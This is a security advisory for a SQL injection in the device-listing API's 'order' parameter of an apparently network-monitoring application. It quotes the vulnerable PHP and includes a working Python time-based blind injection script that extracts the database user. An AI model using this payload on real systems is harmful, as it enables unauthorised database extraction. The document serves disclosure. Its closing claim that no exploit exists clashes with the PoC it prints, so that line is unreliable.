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GHSA-jh57-j3vq-h438
No affected components available
Summary
Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0
Details
in file api_functions.php, line 307 for function list_devices
$order = $request->get('order');
$type = $request->get('type');
$query = $request->get('query');
$param = [];
if (empty($order)) {
$order = 'hostname';
}
if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
$order = 'd.`' . $order . '` ASC';
}
/* ... */
$devices = [];
$dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
foreach (dbFetchRows($dev_query, $param) as $device) {
The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.
PoC
For example. this PoC is get current db user
import string
import requests
headers = {
'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
for payload in payloads:
try:
req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
except requests.exceptions.ReadTimeout as ex:
result += payload
print(result),
except Exception as e:
pass
Impact
Attacker can extract whole database
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is moderate. The vulnerability is likely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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